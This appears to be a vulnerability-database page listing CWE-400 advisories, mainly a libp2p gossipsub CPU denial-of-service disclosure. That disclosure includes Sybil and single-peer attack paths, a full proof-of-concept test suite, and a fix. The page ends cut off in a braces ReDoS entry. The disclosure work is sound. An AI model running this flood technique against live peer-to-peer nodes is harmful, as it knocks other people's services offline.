Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

5567 vulnerabilities reference this CWE, most recent first.

GHSA-CWC9-CP4J-MCVV

Vulnerability from github – Published: 2026-07-10 16:04 – Updated: 2026-07-10 16:04
VLAI
Summary
libp2p: CPU DoS via oversized IHAVE and IWANT control message arrays
Details

Summary

gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.

The two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.

Details

No decode-time cap on message ID count (message/decodeRpc.ts:11-19)

export const defaultDecodeRpcLimits: DecodeRPCLimits = {
  maxSubscriptions: Infinity,
  maxMessages: Infinity,
  maxIhaveMessageIDs: Infinity,
  maxIwantMessageIDs: Infinity,
  maxIdontwantMessageIDs: Infinity,
  maxControlMessages: Infinity,
  maxPeerInfos: Infinity
}

These are the defaults unless the operator explicitly overrides opts.decodeRpcLimits. A TODO at gossipsub.ts:857 already notes the gap: // TODO: Check max gossip message size, before decodeRpc().

IHAVE iterates all IDs before truncating (gossipsub.ts:1311-1327)

messageIDs.forEach((msgId) => {                                                                            
  const msgIdStr = this.msgIdToStrFn(msgId)                                                               
  if (!this.seenCache.has(msgIdStr)) {                                                                     
    iwant.set(msgIdStr, msgId)                                                                            
  }                                                                                                       
})                                                                                                        
// truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes

The per-peer flood counters (iasked, peerhave) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.

IWANT has no rate limit at all (gossipsub.ts:1377-1394)

messageIDs?.forEach((msgId) => {                     
  const msgIdStr = this.msgIdToStrFn(msgId)          
  const entry = this.mcache.getWithIWantCount(msgIdStr, id)                                               
  // ...                                                                                                  
})

Unlike IHAVE, handleIWant has no peerhave or iasked equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (onIwantRcv is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.

Attack Paths

IHAVE (requires ~10 Sybil peers) The attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default gossipThreshold of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single ControlIHave entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.

IWANT (single peer, no Sybil) The attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.

PoC

Setup and execution of PoC

git clone https://github.com/libp2p/js-libp2p.git
cd js-libp2p                                         
npm install                                          
cd packages/gossipsub                                
npx aegir build                                      
node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000

PoC Content:

import { stop } from '@libp2p/interface'
import assert from 'node:assert'
import { performance } from 'node:perf_hooks'
import { encode as lpEncode } from 'it-length-prefixed'
import { pEvent } from 'p-event'
import { RPC } from '../src/message/rpc.js'
import { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js'
import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'
import type { GossipSubAndComponents } from './utils/create-pubsub.js'

const TOPIC = 'poc-ihave-flood'
const MSG_ID_BYTES = 20
// 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes)
const MSG_IDS_PER_IHAVE = 180_000

function randomMsgIds (count: number): Uint8Array[] {
  return Array.from({ length: count }, () => {
    const id = new Uint8Array(MSG_ID_BYTES)
    crypto.getRandomValues(id)
    return id
  })
}

describe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () {
  this.timeout(30_000)

  let victim: GossipSubAndComponents
  let attacker: GossipSubAndComponents

  beforeEach(async () => {
    ;[victim, attacker] = await Promise.all([
      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),
      createComponents({ init: { allowPublishToZeroTopicPeers: true } })
    ])

    // Both subscribe to the topic so the victim builds a mesh entry
    victim.pubsub.subscribe(TOPIC)
    attacker.pubsub.subscribe(TOPIC)

    await connectPubsubNodes(victim, attacker)

    // Wait for one heartbeat so the victim's mesh includes the attacker
    await pEvent(victim.pubsub, 'gossipsub:heartbeat')
  })

  afterEach(async () => {
    await stop(
      victim.pubsub, attacker.pubsub,
      ...Object.values(victim.components),
      ...Object.values(attacker.components)
    )
  })

  it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () => {
    const attackerIdStr = attacker.components.peerId.toString()

    // Verify attacker is in victim's mesh (required for handleIHave to iterate IDs)
    const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set<string> | undefined
    if (meshPeers == null || !meshPeers.has(attackerIdStr)) {
      // Force mesh membership for the PoC if heartbeat hasn't built it yet
      if (meshPeers == null) {
        (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr]))
      } else {
        meshPeers.add(attackerIdStr)
      }
    }

    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)

    // Invoke handleIHave directly
    const t0 = performance.now()
    const iwant = (victim.pubsub as any).handleIHave(
      attackerIdStr,
      [{ topicID: TOPIC, messageIDs }]
    ) as Array<{ messageIDs: Uint8Array[] }>
    const elapsed = performance.now() - t0

    console.log(`\n[PoC] 1 IHAVE × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`)
    console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`)
    console.log(`[PoC] Heartbeat interval:  ${GossipsubHeartbeatInterval} ms`)

    // The blocking time should be significant (>>10ms) for a meaningful DoS
    assert.ok(elapsed > 50,
      `expected >50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`)

    // Victim caps the response regardless of how many IDs were iterated
    assert.ok(
      iwant[0]?.messageIDs?.length <= GossipsubMaxIHaveLength,
      `response should be capped at ${GossipsubMaxIHaveLength}`
    )
  })

  it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () => {
    const N_PEERS = 10
    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)

    // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes
    const fakeMeshPeers: Set<string> = new Set()
    ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)

    let totalElapsed = 0

    for (let i = 0; i < N_PEERS; i++) {
      // Each "Sybil" peer uses a unique peer ID string
      const fakePeerId = `12D3KooW${i.toString().padStart(36, '0')}`
      fakeMeshPeers.add(fakePeerId)

      // Fresh counters: simulates a peer the victim hasn't seen this heartbeat
      ;(victim.pubsub as any).peerhave.delete(fakePeerId)
      ;(victim.pubsub as any).iasked.delete(fakePeerId)
      // Score defaults to 0 (> gossipThreshold of -10): no score entry needed

      const t0 = performance.now()
      ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }])
      const elapsed = performance.now() - t0

      totalElapsed += elapsed
      process.stdout.write(`  peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\n`)
    }

    const ratio = totalElapsed / GossipsubHeartbeatInterval
    console.log(`\n[PoC] ${N_PEERS} peers × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`)
    console.log(`[PoC] Heartbeat interval:                    ${GossipsubHeartbeatInterval} ms`)
    console.log(`[PoC] Ratio (block / heartbeat):             ${ratio.toFixed(2)}x`)
    console.log(`[PoC] Attacker cost: ${N_PEERS} × 4 MB = ${N_PEERS * 4} MB/s outbound`)
    console.log(`[PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely`)

    // 10 peers should easily exceed the 1s heartbeat interval
    assert.ok(
      totalElapsed > GossipsubHeartbeatInterval * 0.9,
      `expected ${N_PEERS} peers to block ≥ ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms`
    )
  })

  it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () => {
    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)

    const rpc = RPC.encode({
      subscriptions: [],
      messages: [],
      control: {
        ihave: [{ topicID: TOPIC, messageIDs }],
        iwant: [],
        graft: [],
        prune: [],
        idontwant: []
      }
    })

    const MAX_LP_BYTES = 4 * 1024 * 1024  // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed

    console.log(`\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)
    console.log(`[PoC] LP frame limit:      ${MAX_LP_BYTES / (1024 * 1024)} MB`)
    console.log(`[PoC] Fits in one frame:   ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)
    console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`)

    assert.ok(rpc.byteLength <= MAX_LP_BYTES,
      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`)
  })
})

The IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.

Impact

Any node running @libp2p/gossipsub with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling createLibp2p({ services: { pubsub: gossipsub() } }).

With 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.

Nodes that explicitly configure opts.decodeRpcLimits with finite values are not affected.

Suggested fix

Set finite defaults in decodeRpc.ts:

export const defaultDecodeRpcLimits: DecodeRPCLimits = {
  maxSubscriptions: 128,
  maxMessages: 256,                                                                                                                                                                                                                                  
  maxIhaveMessageIDs: 5_000,
  maxIwantMessageIDs: 5_000,                                
  maxIdontwantMessageIDs: 5_000,
  maxControlMessages: 128,
  maxPeerInfos: 16
}

Setting maxIhaveMessageIDs and maxIwantMessageIDs to 5000 (matching GossipsubMaxIHaveLength) bounds the iteration cost to the response limit rather than attacker input.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/gossipsub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "16.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49866"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T16:04:49Z",
    "nvd_published_at": "2026-07-08T21:16:49Z",
    "severity": "HIGH"
  },
  "details": "### Summary\ngossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call.\n\nThe two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely.\n\n### Details\n### No decode-time cap on message ID count (`message/decodeRpc.ts:11-19`)\n```typescript                                                                                             \nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n  maxSubscriptions: Infinity,\n  maxMessages: Infinity,\n  maxIhaveMessageIDs: Infinity,\n  maxIwantMessageIDs: Infinity,\n  maxIdontwantMessageIDs: Infinity,\n  maxControlMessages: Infinity,\n  maxPeerInfos: Infinity\n}\n```\n\nThese are the defaults unless the operator explicitly overrides `opts.decodeRpcLimits`. A `TODO` at `gossipsub.ts:857` already notes the gap: `// TODO: Check max gossip message size, before decodeRpc()`.\n\n### IHAVE iterates all IDs before truncating (`gossipsub.ts:1311-1327`)\n\n```typescript                                                                                                                                                                                                         \nmessageIDs.forEach((msgId) =\u003e {                                                                            \n  const msgIdStr = this.msgIdToStrFn(msgId)                                                               \n  if (!this.seenCache.has(msgIdStr)) {                                                                     \n    iwant.set(msgIdStr, msgId)                                                                            \n  }                                                                                                       \n})                                                                                                        \n// truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes                      \n```\n\nThe per-peer flood counters (`iasked`, `peerhave`) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval.\n\n### IWANT has no rate limit at all (`gossipsub.ts:1377-1394`)\n```typescript                                        \nmessageIDs?.forEach((msgId) =\u003e {                     \n  const msgIdStr = this.msgIdToStrFn(msgId)          \n  const entry = this.mcache.getWithIWantCount(msgIdStr, id)                                               \n  // ...                                                                                                  \n})                                                                                                        \n```\n\nUnlike IHAVE, `handleIWant` has no `peerhave` or `iasked` equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker\u0027s score (`onIwantRcv` is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection.\n\n### Attack Paths\n**IHAVE (requires ~10 Sybil peers)**\nThe attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default `gossipThreshold` of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single `ControlIHave` entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat.\n\n**IWANT (single peer, no Sybil)**\nThe attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim\u0027s cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely.\n\n### PoC\nSetup and execution of PoC\n```bash                                              \ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p                                         \nnpm install                                          \ncd packages/gossipsub                                \nnpx aegir build                                      \nnode --experimental-vm-modules ../../node_modules/.bin/mocha \u0027dist/test/poc.spec.js\u0027 --timeout 30000                                             \n```\nPoC Content:\n```typescript\nimport { stop } from \u0027@libp2p/interface\u0027\nimport assert from \u0027node:assert\u0027\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { encode as lpEncode } from \u0027it-length-prefixed\u0027\nimport { pEvent } from \u0027p-event\u0027\nimport { RPC } from \u0027../src/message/rpc.js\u0027\nimport { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from \u0027../src/constants.js\u0027\nimport { createComponents, connectPubsubNodes } from \u0027./utils/create-pubsub.js\u0027\nimport type { GossipSubAndComponents } from \u0027./utils/create-pubsub.js\u0027\n\nconst TOPIC = \u0027poc-ihave-flood\u0027\nconst MSG_ID_BYTES = 20\n// 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes)\nconst MSG_IDS_PER_IHAVE = 180_000\n\nfunction randomMsgIds (count: number): Uint8Array[] {\n  return Array.from({ length: count }, () =\u003e {\n    const id = new Uint8Array(MSG_ID_BYTES)\n    crypto.getRandomValues(id)\n    return id\n  })\n}\n\ndescribe(\u0027CPU DoS via oversized IHAVE and IWANT control message arrays\u0027, function () {\n  this.timeout(30_000)\n\n  let victim: GossipSubAndComponents\n  let attacker: GossipSubAndComponents\n\n  beforeEach(async () =\u003e {\n    ;[victim, attacker] = await Promise.all([\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } })\n    ])\n\n    // Both subscribe to the topic so the victim builds a mesh entry\n    victim.pubsub.subscribe(TOPIC)\n    attacker.pubsub.subscribe(TOPIC)\n\n    await connectPubsubNodes(victim, attacker)\n\n    // Wait for one heartbeat so the victim\u0027s mesh includes the attacker\n    await pEvent(victim.pubsub, \u0027gossipsub:heartbeat\u0027)\n  })\n\n  afterEach(async () =\u003e {\n    await stop(\n      victim.pubsub, attacker.pubsub,\n      ...Object.values(victim.components),\n      ...Object.values(attacker.components)\n    )\n  })\n\n  it(\u0027BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms\u0027, async () =\u003e {\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    // Verify attacker is in victim\u0027s mesh (required for handleIHave to iterate IDs)\n    const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set\u003cstring\u003e | undefined\n    if (meshPeers == null || !meshPeers.has(attackerIdStr)) {\n      // Force mesh membership for the PoC if heartbeat hasn\u0027t built it yet\n      if (meshPeers == null) {\n        (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr]))\n      } else {\n        meshPeers.add(attackerIdStr)\n      }\n    }\n\n    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n    // Invoke handleIHave directly\n    const t0 = performance.now()\n    const iwant = (victim.pubsub as any).handleIHave(\n      attackerIdStr,\n      [{ topicID: TOPIC, messageIDs }]\n    ) as Array\u003c{ messageIDs: Uint8Array[] }\u003e\n    const elapsed = performance.now() - t0\n\n    console.log(`\\n[PoC] 1 IHAVE \u00d7 ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`)\n    console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`)\n    console.log(`[PoC] Heartbeat interval:  ${GossipsubHeartbeatInterval} ms`)\n\n    // The blocking time should be significant (\u003e\u003e10ms) for a meaningful DoS\n    assert.ok(elapsed \u003e 50,\n      `expected \u003e50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`)\n\n    // Victim caps the response regardless of how many IDs were iterated\n    assert.ok(\n      iwant[0]?.messageIDs?.length \u003c= GossipsubMaxIHaveLength,\n      `response should be capped at ${GossipsubMaxIHaveLength}`\n    )\n  })\n\n  it(\u0027MULTI-PEER: N peers \u00d7 1 IHAVE each, iasked resets per peer, total block scales linearly\u0027, async () =\u003e {\n    const N_PEERS = 10\n    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n    // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes\n    const fakeMeshPeers: Set\u003cstring\u003e = new Set()\n    ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers)\n\n    let totalElapsed = 0\n\n    for (let i = 0; i \u003c N_PEERS; i++) {\n      // Each \"Sybil\" peer uses a unique peer ID string\n      const fakePeerId = `12D3KooW${i.toString().padStart(36, \u00270\u0027)}`\n      fakeMeshPeers.add(fakePeerId)\n\n      // Fresh counters: simulates a peer the victim hasn\u0027t seen this heartbeat\n      ;(victim.pubsub as any).peerhave.delete(fakePeerId)\n      ;(victim.pubsub as any).iasked.delete(fakePeerId)\n      // Score defaults to 0 (\u003e gossipThreshold of -10): no score entry needed\n\n      const t0 = performance.now()\n      ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }])\n      const elapsed = performance.now() - t0\n\n      totalElapsed += elapsed\n      process.stdout.write(`  peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\\n`)\n    }\n\n    const ratio = totalElapsed / GossipsubHeartbeatInterval\n    console.log(`\\n[PoC] ${N_PEERS} peers \u00d7 ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`)\n    console.log(`[PoC] Heartbeat interval:                    ${GossipsubHeartbeatInterval} ms`)\n    console.log(`[PoC] Ratio (block / heartbeat):             ${ratio.toFixed(2)}x`)\n    console.log(`[PoC] Attacker cost: ${N_PEERS} \u00d7 4 MB = ${N_PEERS * 4} MB/s outbound`)\n    console.log(`[PoC] Each peer\u0027s iasked resets at heartbeat \u2014 sustainable indefinitely`)\n\n    // 10 peers should easily exceed the 1s heartbeat interval\n    assert.ok(\n      totalElapsed \u003e GossipsubHeartbeatInterval * 0.9,\n      `expected ${N_PEERS} peers to block \u2265 ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms`\n    )\n  })\n\n  it(\u0027ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit\u0027, () =\u003e {\n    const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE)\n\n    const rpc = RPC.encode({\n      subscriptions: [],\n      messages: [],\n      control: {\n        ihave: [{ topicID: TOPIC, messageIDs }],\n        iwant: [],\n        graft: [],\n        prune: [],\n        idontwant: []\n      }\n    })\n\n    const MAX_LP_BYTES = 4 * 1024 * 1024  // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed\n\n    console.log(`\\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)\n    console.log(`[PoC] LP frame limit:      ${MAX_LP_BYTES / (1024 * 1024)} MB`)\n    console.log(`[PoC] Fits in one frame:   ${rpc.byteLength \u003c= MAX_LP_BYTES ? \u0027YES \u2713\u0027 : \u0027NO \u2717\u0027}`)\n    console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`)\n\n    assert.ok(rpc.byteLength \u003c= MAX_LP_BYTES,\n      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default \u2014 confirms no LP-level protection`)\n  })\n})\n```\n\nThe IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request.\n\n### Impact\nAny node running `@libp2p/gossipsub` with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`.\n\nWith 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth.\n\nNodes that explicitly configure `opts.decodeRpcLimits` with finite values are not affected.\n\n## Suggested fix\n\nSet finite defaults in `decodeRpc.ts`:\n```typescript\nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {\n  maxSubscriptions: 128,\n  maxMessages: 256,                                                                                                                                                                                                                                  \n  maxIhaveMessageIDs: 5_000,\n  maxIwantMessageIDs: 5_000,                                \n  maxIdontwantMessageIDs: 5_000,\n  maxControlMessages: 128,\n  maxPeerInfos: 16\n}\n```\n\nSetting `maxIhaveMessageIDs` and `maxIwantMessageIDs` to 5000 (matching `GossipsubMaxIHaveLength`) bounds the iteration cost to the response limit rather than attacker input.",
  "id": "GHSA-cwc9-cp4j-mcvv",
  "modified": "2026-07-10T16:04:49Z",
  "published": "2026-07-10T16:04:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-cwc9-cp4j-mcvv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49866"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/pull/3520"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/commit/773dd80ded24dbd6b19e675c89fd2f3b45f2d899"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/js-libp2p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p: CPU DoS via oversized IHAVE and IWANT control message arrays"
}

GHSA-CWC9-V946-JVQJ

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2025-04-11 03:51
VLAI
Details

net/core/net_namespace.c in the Linux kernel 2.6.32 and earlier does not properly handle a high rate of creation and cleanup of network namespaces, which makes it easier for remote attackers to cause a denial of service (memory consumption) via requests to a daemon that requires a separate namespace per connection, as demonstrated by vsftpd.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2011-2189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-10-10T10:55:00Z",
    "severity": "HIGH"
  },
  "details": "net/core/net_namespace.c in the Linux kernel 2.6.32 and earlier does not properly handle a high rate of creation and cleanup of network namespaces, which makes it easier for remote attackers to cause a denial of service (memory consumption) via requests to a daemon that requires a separate namespace per connection, as demonstrated by vsftpd.",
  "id": "GHSA-cwc9-v946-jvqj",
  "modified": "2025-04-11T03:51:26Z",
  "published": "2022-05-13T01:08:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2189"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/ubuntu/+source/linux/+bug/720095"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=711134"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=711245"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=629373"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=2b035b39970740722598f7a9d548835f9bdd730f"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git%3Ba=commit%3Bh=f875bae065334907796da12523f9df85c89f5712"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=2b035b39970740722598f7a9d548835f9bdd730f"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=f875bae065334907796da12523f9df85c89f5712"
    },
    {
      "type": "WEB",
      "url": "http://ie.archive.ubuntu.com/linux/kernel/v2.6/ChangeLog-2.6.33"
    },
    {
      "type": "WEB",
      "url": "http://kerneltrap.org/mailarchive/git-commits-head/2009/12/8/15289"
    },
    {
      "type": "WEB",
      "url": "http://neil.brown.name/git?p=linux-2.6%3Ba=patch%3Bh=2b035b39970740722598f7a9d548835f9bdd730f"
    },
    {
      "type": "WEB",
      "url": "http://neil.brown.name/git?p=linux-2.6;a=patch;h=2b035b39970740722598f7a9d548835f9bdd730f"
    },
    {
      "type": "WEB",
      "url": "http://patchwork.ozlabs.org/patch/88217"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2011/dsa-2305"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/06/06/10"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/06/06/20"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-1288-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CWFW-4GQ5-MRQX

Vulnerability from github – Published: 2022-01-06 20:42 – Updated: 2025-11-26 16:25
VLAI
Summary
Regular Expression Denial of Service (ReDoS) in braces
Details

A vulnerability was found in Braces versions from v2.2.0 up to but not including v2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. This has been patched in version 2.3.1.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "braces"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1109"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-31T21:35:00Z",
    "nvd_published_at": "2021-03-30T02:15:00Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in Braces versions from v2.2.0 up to but not including v2.3.1. Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. This has been patched in version 2.3.1.",
  "id": "GHSA-cwfw-4gq5-mrqx",
  "modified": "2025-11-26T16:25:50Z",
  "published": "2022-01-06T20:42:03Z",
  "references": [
    {
